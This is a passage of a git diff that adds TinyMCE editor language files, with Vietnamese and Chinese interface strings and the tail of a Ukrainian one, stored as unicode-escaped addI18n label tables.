\u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 mailto:?","link_titlefield":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","link_target_blank":"\u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456","link_target_same":"\u0446\u044c\u043e\u043c\u0443 \u0436 \u0432\u0456\u043a\u043d\u0456","link_target":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432","link_url":"\u0410\u0434\u0440\u0435\u0441\u0430 ","link_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","image_align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_left":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","image_align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0443","image_align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","image_align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u0456\u0439 \u043b\u0456\u043d\u0456\u0457","image_align":"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f","image_hspace":"\u0413\u043e\u0440\u0438\u0437. \u0432\u0456\u0434\u0441\u0442\u0443\u043f","image_vspace":"\u0412\u0435\u0440\u0442. \u0432\u0456\u0434\u0441\u0442\u0443\u043f","image_dimensions":"\u0420\u043e\u0437\u043c\u0456\u0440\u0438","image_alt":"\u041e\u043f\u0438\u0441","image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c","image_border":"\u0420\u0430\u043c\u043a\u0430","image_src":"\u0410\u0434\u0440\u0435\u0441\u0430","image_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","charmap_title":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b","colorpicker_name":"\u041d\u0430\u0437\u0432\u0430:","colorpicker_color":"\u041a\u043e\u043b\u0456\u0440:","colorpicker_named_title":"\u0417\u0430 \u043d\u0430\u0437\u0432\u043e\u044e","colorpicker_named_tab":"\u0417\u0430 \u043d\u0430\u0437\u0432\u043e\u044e","colorpicker_palette_title":"\u041f\u0430\u043b\u0456\u0442\u0440\u0430 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432","colorpicker_palette_tab":"\u041f\u0430\u043b\u0456\u0442\u0440\u0430","colorpicker_picker_title":"\u041f\u0456\u043f\u0435\u0442\u043a\u0430 \u043a\u043e\u043b\u044c\u043e\u0440\u0443","colorpicker_picker_tab":"\u041f\u0456\u043f\u0435\u0442\u043a\u0430","colorpicker_title":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u043a\u043e\u043b\u0456\u0440","code_wordwrap":"\u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u0438 \u0441\u043b\u043e\u0432\u0430","code_title":"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 HTML \u043a\u043e\u0434\u0443","anchor_name":"\u041d\u0430\u0437\u0432\u0430 \u044f\u043a\u043e\u0440\u044f","anchor_title":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u044f\u043a\u0456\u0440","about_loaded":"\u0417\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u0456 \u0434\u043e\u0434\u0430\u0442\u043a\u0438","about_version":"\u0412\u0435\u0440\u0441\u0456\u044f","about_author":"\u0410\u0432\u0442\u043e\u0440","about_plugin":"\u0414\u043e\u0434\u0430\u0442\u043e\u043a","about_plugins":"\u0414\u043e\u0434\u0430\u0442\u043a\u0438","about_license":"\u041b\u0456\u0446\u0435\u043d\u0437\u0456\u044f","about_help":"\u0414\u043e\u043f\u043e\u043c\u043e\u0433\u0430","about_general":"\u041f\u0440\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442...","about_title":"\u041f\u0440\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442 TinyMCE","anchor_invalid":"\u0412\u0432\u0435\u0434\u0456\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0435 \u0456\u043c\'\u044f \u0434\u043b\u044f \u044f\u043a\u0456\u0440\u0430.","accessibility_usage_title":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u044f","charmap_usage":"Use left and right arrows to navigate.","accessibility_help":"Accessibility Help"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/vi.js b/js/tiny_mce2/themes/advanced/langs/vi.js new file mode 100755 index 0000000..6f80fc9 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/vi.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advanced',{"underline_desc":"G\u1ea1ch ch\u00e2n (Ctrl+U)","italic_desc":"Ch\u1eef nghi\u00eang (Ctrl+I)","bold_desc":"Ch\u1eef \u0111\u1eadm (Ctrl+B)",dd:"Th\u1ebb M\u00f4 t\u1ea3 \u0111\u1ecbnh ngh\u0129a",dt:"Th\u1ebb \u0110i\u1ec1u kho\u1ea3n \u0111\u1ecbnh ngh\u0129a ",samp:"Th\u1ebb M\u00e3 v\u00ed d\u1ee5",code:"Th\u1ebb M\u00e3",blockquote:"Th\u1ebb Tr\u00edch d\u1eabn",h6:"Th\u1ebb Heading 6",h5:"Th\u1ebb Heading 5",h4:"Th\u1ebb Heading 4",h3:"Th\u1ebb Heading 3",h2:"Th\u1ebb Heading 2",h1:"Th\u1ebb Heading 1",pre:"Th\u1ebb Ti\u1ec1n \u0111\u1ecbnh d\u1ea1ng",address:"Th\u1ebb \u0110\u1ecba ch\u1ec9",div:"Th\u1ebb",paragraph:"\u0110o\u1ea1n",block:"\u0110\u1ecbnh d\u1ea1ng",fontdefault:"T\u00ean font ch\u1eef","font_size":"K\u00edch th\u01b0\u1edbc font","style_select":"Ki\u1ec3u","more_colors":"Th\u00eam m\u00e0u","toolbar_focus":"Nh\u1ea3y t\u1edbi c\u00e1c n\u00fat c\u00f4ng c\u1ee5 - Alt+Q, T\u1edbi tr\u00ecnh so\u1ea1n th\u1ea3o - Alt-Z, T\u1edbi \u0111\u01b0\u1eddng d\u1eabn c\u00e1c ph\u1ea7n t\u1eed - Alt-X",newdocument:"B\u1ea1n c\u00f3 ch\u1eafc ch\u1eafn mu\u1ed1n x\u00f3a t\u1ea5t c\u1ea3 n\u1ed9i dung?",path:"\u0110\u01b0\u1eddng d\u1eabn","clipboard_msg":"Sao ch\u00e9p/C\u1eaft/D\u00e1n kh\u00f4ng c\u00f3 s\u1eb5n trong Mozilla v\u00e0 Firefox.\n\t\t\tB\u1ea1n c\u00f3 mu\u1ed1n bi\u1ebft th\u00eam th\u00f4ng tin v\u1ec1 v\u1ea5n \u0111\u1ec1 n\u00e0y?","blockquote_desc":"Blockquote","help_desc":"Tr\u1ee3 gi\u00fap","newdocument_desc":"V\u0103n b\u1ea3n m\u1edbi","image_props_desc":"Thu\u1ed9c t\u00ednh \u1ea3nh","paste_desc":"D\u00e1n","copy_desc":"Sao ch\u00e9p","cut_desc":"C\u1eaft","anchor_desc":"Ch\u00e8n/s\u1eeda m\u1ecf neo","visualaid_desc":"\u0110\u1ea3o c\u00e1c th\u00e0nh ph\u1ea7n h\u01b0\u1edbng d\u1eabn ho\u1eb7c \u1ea9n","charmap_desc":"Ch\u00e8n k\u00fd t\u1ef1 t\u00f9y bi\u1ebfn","backcolor_desc":"Ch\u1ecdn m\u00e0u n\u1ec1n","forecolor_desc":"Ch\u1ecdn m\u00e0u ch\u1eef","custom1_desc":"M\u00f4 t\u1ea3 t\u00f9y bi\u1ebfn c\u1ee7a b\u1ea1n \u1edf \u0111\u00e2y","removeformat_desc":"Lo\u1ea1i b\u1ecf \u0111\u1ecbnh d\u1ea1ng","hr_desc":"Ch\u00e8n th\u01b0\u1edbc ngang","sup_desc":"Ch\u1ec9 s\u1ed1 b\u00ean tr\u00ean","sub_desc":"Ch\u1ec9 s\u1ed1 d\u01b0\u1edbi d\u00f2ng","code_desc":"S\u1eeda m\u00e3 HTML","cleanup_desc":"D\u1ecdn d\u1eb9p m\u00e3 l\u1ed9n x\u1ed9n","image_desc":"Ch\u00e8n/s\u1eeda \u1ea3nh","unlink_desc":"X\u00f3a Li\u00ean k\u1ebft","link_desc":"Th\u00eam/S\u1eeda Li\u00ean k\u1ebft","redo_desc":"Ti\u1ebfn t\u1edbi (Ctrl+Y)","undo_desc":"Tr\u1edf v\u1ec1 (Ctrl+Z)","indent_desc":"Th\u1ee5t \u0111\u1ea7u d\u00f2ng","outdent_desc":"V\u1ec1 \u0111\u1ea7u d\u00f2ng","numlist_desc":"Danh s\u00e1ch c\u00f3 ch\u1ec9 s\u1ed1","bullist_desc":"Danh s\u00e1ch","justifyfull_desc":"Canh l\u1ec1 \u0111\u1ec1u","justifyright_desc":"Canh l\u1ec1 ph\u1ea3i","justifycenter_desc":"Canh gi\u1eefa","justifyleft_desc":"Canh l\u1ec1 tr\u00e1i","striketrough_desc":"G\u1ea1ch ngang","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/vi_dlg.js b/js/tiny_mce2/themes/advanced/langs/vi_dlg.js new file mode 100755 index 0000000..3a36071 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advanced_dlg',{"link_list":"Danh s\u00e1ch li\u00ean k\u1ebft","link_is_external":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t li\u00ean k\u1ebft ngo\u00e0i, b\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 http://?","link_is_email":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t \u0111\u1ecba ch\u1ec9 \u0111i\u1ec7n th\u01b0, B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 mailto?","link_titlefield":"Ti\u00eau \u0111\u1ec1","link_target_blank":"M\u1edf li\u00ean k\u1ebft trong c\u1eeda s\u1ed5 m\u1edbi","link_target_same":"M\u1edf li\u00ean k\u1ebft trong c\u00f9ng c\u1eeda s\u1ed5","link_target":"\u0110\u00edch","link_url":"URL Li\u00ean k\u1ebft","link_title":"Th\u00eam/S\u1eeda Li\u00ean k\u1ebft","image_align_right":"Ph\u1ea3i","image_align_left":"Tr\u00e1i","image_align_textbottom":"V\u0103n b\u1ea3n d\u01b0\u1edbi","image_align_texttop":"V\u0103n b\u1ea3n tr\u00ea","image_align_bottom":"D\u01b0\u1edbi c\u00f9ng","image_align_middle":"Gi\u1eefa","image_align_top":"Tr\u00ean c\u00f9ng","image_align_baseline":"\u0110\u01b0\u1eddng c\u01a1 s\u1edf","image_align":"Canh l\u1ec1n","image_hspace":"Kho\u1ea3ng c\u00e1ch ngang","image_vspace":"Kho\u1ea3ng c\u00e1ch d\u1ecdc","image_dimensions":"K\u00edch th\u01b0\u1edbng","image_alt":"M\u00f4 t\u1ea3 \u1ea3nh","image_list":"Danh s\u00e1ch \u1ea3nh","image_border":"Vi\u1ec1n","image_src":"URL \u1ea3nh","image_title":"Ch\u00e8n/s\u1eeda \u1ea3nh","charmap_title":"Ch\u1ecdn k\u00fd t\u1ef1 t\u00f9y bi\u1ebfn","colorpicker_name":"T\u00ean:","colorpicker_color":"M\u00e0u:","colorpicker_named_title":"M\u00e0u \u0111\u00e3 \u0111\u1eb7t t\u00ean","colorpicker_named_tab":"T\u00ean","colorpicker_palette_title":"B\u1ea3ng m\u00e0u","colorpicker_palette_tab":"B\u1ea3ng m\u00e0u","colorpicker_picker_title":"B\u1ed9 ch\u1ecdn m\u00e0u","colorpicker_picker_tab":"B\u1ed9 ch\u1ecdn","colorpicker_title":"Ch\u1ecdn m\u1ed9t m\u00e0u","code_wordwrap":"Xu\u1ed1ng d\u00f2ng t\u1ef1 \u0111\u1ed9ng","code_title":"Tr\u00ecnh so\u1ea1n th\u1ea3o m\u00e3 ngu\u1ed3n HTML","anchor_name":"T\u00ean m\u1ecf neo","anchor_title":"Ch\u00e8n/s\u1eeda m\u1ecf neo","about_loaded":"Tr\u00ecnh g\u1eafn k\u00e8m \u0111\u00e3 n\u1ea1p","about_version":"Phi\u00ean b\u1ea3n","about_author":"T\u00e1c gi\u1ea3","about_plugin":"Tr\u00ecnh g\u1eafn k\u00e8m","about_plugins":"Tr\u00ecnh g\u1eafn k\u00e8m","about_license":"Gi\u1ea5y ph\u00e9p","about_help":"Tr\u1ee3 gi\u00fap","about_general":"Th\u00f4ng tin","about_title":"Th\u00f4ng tin v\u1ec1 TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/zh-cn.js b/js/tiny_mce2/themes/advanced/langs/zh-cn.js new file mode 100755 index 0000000..cef3df2 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/zh-cn.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advanced',{"underline_desc":"\u4e0b\u5212\u7ebf(Ctrl U)","italic_desc":"\u659c\u4f53(Ctrl I)","bold_desc":"\u7c97\u4f53(Ctrl B)",dd:"\u5b9a\u4e49\u8bf4\u660e",dt:"\u672f\u8bed\u5b9a\u4e49",samp:"\u4ee3\u7801\u793a\u4f8b",code:"\u4ee3\u7801",blockquote:"\u5f15\u7528",h6:"\u6807\u98986",h5:"\u6807\u98985",h4:"\u6807\u98984",h3:"\u6807\u98983",h2:"\u6807\u98982",h1:"\u6807\u98981",pre:"\u9884\u683c\u5f0f\u6587\u672c",address:"\u5730\u5740",div:"Div\u533a\u5757",paragraph:"\u6bb5\u843d",block:"\u683c\u5f0f\u5316",fontdefault:"\u5b57\u4f53","font_size":"\u5b57\u4f53\u5927\u5c0f","style_select":"\u6837\u5f0f","more_colors":"\u66f4\u591a\u989c\u8272","toolbar_focus":"\u8f6c\u5230\u5de5\u5177\u6309\u94ae - Alt-Q\uff0c\u8f6c\u5230\u7f16\u8f91\u5668 - Alt-Z\uff0c\u8f6c\u5230\u5143\u7d20\u8def\u5f84 - Alt-X\u3002",newdocument:"\u60a8\u771f\u7684\u8981\u6e05\u9664\u6240\u6709\u5185\u5bb9\u5417\uff1f",path:"\u8def\u5f84","clipboard_msg":"\u5728Mozilla\u548cFirefox\u4e2d\u4e0d\u80fd\u4f7f\u7528\u590d\u5236/\u7c98\u8d34/\u526a\u5207\u3002n\u60a8\u8981\u67e5\u770b\u8be5\u95ee\u9898\u66f4\u591a\u7684\u4fe1\u606f\u5417\uff1f","blockquote_desc":"\u5f15\u7528","help_desc":"\u5e2e\u52a9","newdocument_desc":"\u65b0\u5efa","image_props_desc":"\u56fe\u7247\u5c5e\u6027","paste_desc":"\u7c98\u8d34","copy_desc":"\u590d\u5236","cut_desc":"\u526a\u5207","anchor_desc":"\u63d2\u5165/\u7f16\u8f91 \u951a","visualaid_desc":"\u663e\u793a/\u9690\u85cf \u5143\u7d20","charmap_desc":"\u63d2\u5165\u81ea\u5b9a\u4e49\u7b26\u53f7","backcolor_desc":"\u9009\u62e9\u80cc\u666f\u989c\u8272","forecolor_desc":"\u9009\u62e9\u6587\u672c\u989c\u8272","custom1_desc":"\u8fd9\u91cc\u662f\u60a8\u81ea\u5b9a\u4e49\u7684\u63cf\u8ff0","removeformat_desc":"\u6e05\u9664\u683c\u5f0f","hr_desc":"\u63d2\u5165\u6c34\u5e73\u7ebf","sup_desc":"\u4e0a\u6807","sub_desc":"\u4e0b\u6807","code_desc":"\u7f16\u8f91HTML\u6e90\u4ee3\u7801","cleanup_desc":"\u6e05\u9664\u65e0\u7528\u4ee3\u7801","image_desc":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","unlink_desc":"\u53d6\u6d88\u8d85\u94fe\u63a5","link_desc":"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","redo_desc":"\u6062\u590d (Ctrl Y)","undo_desc":"\u64a4\u9500 (Ctrl Z)","indent_desc":"\u589e\u52a0\u7f29\u8fdb","outdent_desc":"\u51cf\u5c11\u7f29\u8fdb","numlist_desc":"\u7f16\u53f7\u5217\u8868","bullist_desc":"\u9879\u76ee\u5217\u8868","justifyfull_desc":"\u4e24\u7aef\u5bf9\u9f50","justifyright_desc":"\u53f3\u5bf9\u9f50","justifycenter_desc":"\u5c45\u4e2d","justifyleft_desc":"\u5de6\u5bf9\u9f50","striketrough_desc":"\u5220\u9664\u7ebf","help_shortcut":"\u6309 ALT-F10 \u5b9a\u4f4d\u5230\u5de5\u5177\u680f.\u6309 ALT-0 \u83b7\u53d6\u5e2e\u52a9\u3002","rich_text_area":"\u5bcc\u6587\u672c\u533a","shortcuts_desc":"\u8f85\u52a9\u8bf4\u660e",toolbar:"\u5de5\u5177\u680f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/zh-cn_dlg.js b/js/tiny_mce2/themes/advanced/langs/zh-cn_dlg.js new file mode 100755 index 0000000..5d03875 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advanced_dlg',{"link_list":"\u94fe\u63a5\u5217\u8868","link_is_external":"\u60a8\u8f93\u5165\u7684URL\u662f\u4e00\u4e2a\u5916\u90e8\u94fe\u63a5\uff0c\u662f\u5426\u8981\u52a0\u4e0a\"http://\"\u524d\u7f00\uff1f","link_is_email":"\u8f93\u5165URL\u662f\u7535\u5b50\u90ae\u4ef6\u5730\u5740\uff0c\u662f\u5426\u9700\u8981\u52a0\"mailto:\"\u524d\u7f00\uff1f","link_titlefield":"\u6807\u9898","link_target_blank":"\u5728\u65b0\u7a97\u53e3\u6253\u5f00","link_target_same":"\u5728\u5f53\u524d\u7a97\u53e3\u6253\u5f00","link_target":"\u6253\u5f00\u65b9\u5f0f","link_url":"\u8d85\u94fe\u63a5URL","link_title":"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","image_align_right":"\u53f3\u5bf9\u9f50","image_align_left":"\u5de6\u5bf9\u9f50","image_align_textbottom":"\u6587\u5b57\u4e0b\u65b9","image_align_texttop":"\u6587\u5b57\u4e0a\u65b9","image_align_bottom":"\u5e95\u7aef\u5bf9\u9f50","image_align_middle":"\u5c45\u4e2d\u5bf9\u9f50","image_align_top":"\u9876\u7aef\u5bf9\u9f50","image_align_baseline":"\u5e95\u7ebf","image_align":"\u5bf9\u9f50","image_hspace":"\u6c34\u5e73\u8ddd\u79bb","image_vspace":"\u5782\u76f4\u8ddd\u79bb","image_dimensions":"\u5c3a\u5bf8","image_alt":"\u56fe\u7247\u63cf\u8ff0","image_list":"\u56fe\u7247\u5217\u8868","image_border":"\u8fb9\u6846","image_src":"\u56fe\u7247\u94fe\u63a5","image_title":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","charmap_title":"\u9009\u62e9\u81ea\u5b9a\u4e49\u7b26\u53f7","colorpicker_name":"\u540d\u79f0\uff1a","colorpicker_color":"\u989c\u8272\uff1a","colorpicker_named_title":"\u547d\u540d\u989c\u8272","colorpicker_named_tab":"\u547d\u540d\u989c\u8272","colorpicker_palette_title":"\u8c03\u8272\u677f\u989c\u8272","colorpicker_palette_tab":"\u8c03\u8272\u677f","colorpicker_picker_title":"\u989c\u8272\u62fe\u53d6","colorpicker_picker_tab":"\u62fe\u53d6","colorpicker_title":"\u9009\u62e9\u989c\u8272","code_wordwrap":"\u81ea\u52a8\u6362\u884c","code_title":"HTML\u4ee3\u7801\u7f16\u8f91\u5668","anchor_name":"\u951a\u540d\u79f0","anchor_title":"\u63d2\u5165/\u7f16\u8f91 \u951a","about_loaded":"\u5df2\u8f7d\u5165\u7684\u63d2\u4ef6","about_version":"\u7248\u672c","about_author":"\u4f5c\u8005","about_plugin":"\u63d2\u4ef6","about_plugins":"\u63d2\u4ef6","about_license":"\u8bb8\u53ef\u534f\u8bae","about_help":"\u5e2e\u52a9","about_general":"\u5173\u4e8e","about_title":"\u5173\u4e8eTinyMCE","anchor_invalid":"\u8bf7\u6307\u5b9a\u4e00\u4e2a\u6709\u6548\u7684\u951a\u540d\u79f0\u3002","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/zh-tw.js b/js/tiny_mce2/themes/advanced/langs/zh-tw.js new file mode 100755 index 0000000..54041ae --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/zh-tw.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advanced',{"underline_desc":"\u52a0\u4e0a\u5e95\u7dda (Ctrl U)","italic_desc":"\u8b8a\u6210\u659c\u7dda (Ctrl I)","bold_desc":"\u5b57\u52a0\u7c97 (Ctrl B)",dd:"\u64b0\u5beb\u8aaa\u660e / \u8a3b\u89e3",dt:"\u8853\u8a9e\u5b9a\u7fa9",samp:"\u8a9e\u6cd5\u7bc4\u4f8b",code:"\u8a9e\u6cd5",blockquote:"\u5f15\u7528",h6:"\u6a19\u984c\u6a23\u5f0f 6",h5:"\u6a19\u984c\u6a23\u5f0f 5",h4:"\u6a19\u984c\u6a23\u5f0f 4",h3:"\u6a19\u984c\u6a23\u5f0f 3",h2:"\u6a19\u984c\u6a23\u5f0f 2",h1:"\u6a19\u984c\u6a23\u5f0f 1",pre:"\u7d14\u6587\u5b57",address:"\u4f4f\u5740",div:"Div \u6392\u7248\u5340\u584a",paragraph:"\u6bb5\u843d\u6a23\u5f0f",block:"\u683c\u5f0f",fontdefault:"\u5b57\u9ad4","font_size":"\u6587\u5b57\u5927\u5c0f","style_select":"\u6a23\u5f0f","more_colors":"\u5176\u4ed6\u984f\u8272","toolbar_focus":"\u8f14\u52a9\u529f\u80fd\uff1a\u6309\u4e0b Alt \u8ddf Q \u53ef\u8df3\u5230\u529f\u80fd\u5217\u3001\u6309\u4e0b Alt \u8ddf Z \u8df3\u5230\u6587\u5b57\u7de8\u8f2f\u756b\u9762\u3001\u6309\u4e0b Alt \u8ddf X \u53ef\u8df3\u5230\u8a9e\u6cd5\u7d30\u7bc0\u7684\u90a3\u4e00\u6392",newdocument:"\u60a8\u771f\u7684\u8981\u6e05\u9664\u756b\u9762\u4e0a\u7684\u5167\u5bb9\u55ce\uff1f",path:"\u8a9e\u6cd5\u7d30\u7bc0","clipboard_msg":"\u5f88\u62b1\u6b49\uff0c\u4f60\u770b\u7db2\u9801\u7684\u8edf\u9ad4\u4e0d\u652f\u63f4\u526a\u4e0b\u3001\u8907\u88fd\u3001\u8cbc\u4e0a\u7684\u529f\u80fd\u3002","blockquote_desc":"\u5f15\u7528","help_desc":"\u8aaa\u660e","newdocument_desc":"\u65b0\u6587\u7ae0","image_props_desc":"\u5716\u7247\u8a2d\u5b9a","paste_desc":"\u8cbc\u4e0a","copy_desc":"\u8907\u88fd","cut_desc":"\u526a\u4e0b","anchor_desc":"\u52a0\u5165 / \u7de8\u8f2f\u9328\u9ede (\u66f8\u7c64)","visualaid_desc":"\u986f\u793a\u96b1\u85cf\u7684\u6771\u897f","charmap_desc":"\u52a0\u5165\u4e00\u500b\u81ea\u5df1\u8a2d\u5b9a\u7684\u6587\u5b57\u7b26\u865f","backcolor_desc":"\u9078\u64c7\u80cc\u666f\u8272","forecolor_desc":"\u9078\u64c7\u6587\u5b57\u984f\u8272","custom1_desc":"\u4f60\u5beb\u7684\u8a3b\u89e3\u5728\u9019\u88e1","removeformat_desc":"\u79fb\u9664\u6587\u5b57\u4e0a\u7684\u6a23\u5f0f\u8207\u683c\u5f0f","hr_desc":"\u52a0\u5165\u4e00\u500b\u6c34\u5e73\u7dda","sup_desc":"\u4e0a\u6a19\u5b57","sub_desc":"\u4e0b\u6a19\u5b57","code_desc":"\u7de8\u8f2f HTML \u8a9e\u6cd5","cleanup_desc":"\u79fb\u9664\u591a\u9918\u7684\u6587\u5b57\u8207\u7a0b\u5f0f\u78bc","image_desc":"\u65b0\u589e / \u7de8\u8f2f\u5716\u7247","unlink_desc":"\u79fb\u9664\u9023\u7d50","link_desc":"\u65b0\u589e / \u7de8\u8f2f\u7db2\u5740\u9023\u7d50","redo_desc":"\u91cd\u4f86\u4e00\u6b21 (Ctrl Y)","undo_desc":"\u5fa9\u539f (Ctrl Z)","indent_desc":"\u7e2e\u6392 (\u589e\u52a0)","outdent_desc":"\u7e2e\u6392 (\u6e1b\u5c11)","numlist_desc":"\u9805\u76ee\u7b26\u865f (\u6709\u6578\u5b57)","bullist_desc":"\u9805\u76ee\u7b26\u865f (\u53ea\u6709\u7b26\u865f)","justifyfull_desc":"\u5206\u6563\u5c0d\u9f4a","justifyright_desc":"\u5411\u53f3\u908a\u5c0d\u9f4a","justifycenter_desc":"\u7f6e\u4e2d\u5c0d\u9f4a","justifyleft_desc":"\u5411\u5c0d\u9f4a\u5de6\u908a","striketrough_desc":"\u522a\u9664\u7dda","help_shortcut":"\u6309\u4e0b ALT F10 \u51fa\u73fe\u5de5\u5177\u5217\uff1b\u6309\u4e0b ALT 0 \u5247\u51fa\u73fe\u8aaa\u660e\u3002","rich_text_area":"\u6587\u5b57\u7de8\u8f2f\u5340","shortcuts_desc":"\u8f14\u52a9\u8aaa\u660e",toolbar:"\u5de5\u5177\u5217","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/zh-tw_dlg.js b/js/tiny_mce2/themes/advanced/langs/zh-tw_dlg.js new file mode 100755 index 0000000..46208f9 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advanced_dlg',{"link_list":"\u9023\u7d50\u6e05\u55ae","link_is_external":"\u60a8\u7684\u7db2\u5740\u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b http:// \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f","link_is_email":"\u60a8\u7684 E-Mail \u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b mailto: \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f","link_titlefield":"\u6a19\u984c","link_target_blank":"\u53e6\u5916\u958b\u65b0\u8996\u7a97","link_target_same":"\u76f4\u63a5\u958b\u555f\u9023\u7d50","link_target":"\u958b\u555f\u65b9\u5f0f","link_url":"\u9023\u7d50 URL","link_title":"\u52a0\u5165 / \u7de8\u8f2f\u7db2\u5740","image_align_right":"\u5411\u53f3\u5c0d\u9f4a","image_align_left":"\u5411\u5de6\u5c0d\u9f4a","image_align_textbottom":"\u6587\u5b57\u4e0b\u65b9","image_align_texttop":"\u6587\u5b57\u4e0a\u65b9","image_align_bottom":"\u4e0b\u65b9","image_align_middle":"\u7f6e\u4e2d","image_align_top":"\u4e0a\u65b9","image_align_baseline":"\u57fa\u6e96\u7dda","image_align":"\u5c0d\u9f4a","image_hspace":"\u6c34\u5e73\u8ddd\u96e2","image_vspace":"\u5782\u76f4\u8ddd\u96e2","image_dimensions":"\u5c3a\u5bf8","image_alt":"\u5716\u7247\u8aaa\u660e","image_list":"\u5716\u7247\u6e05\u55ae","image_border":"\u908a\u6846","image_src":"\u5716\u7247\u7db2\u5740\u9023\u7d50","image_title":"\u52a0\u5165 / 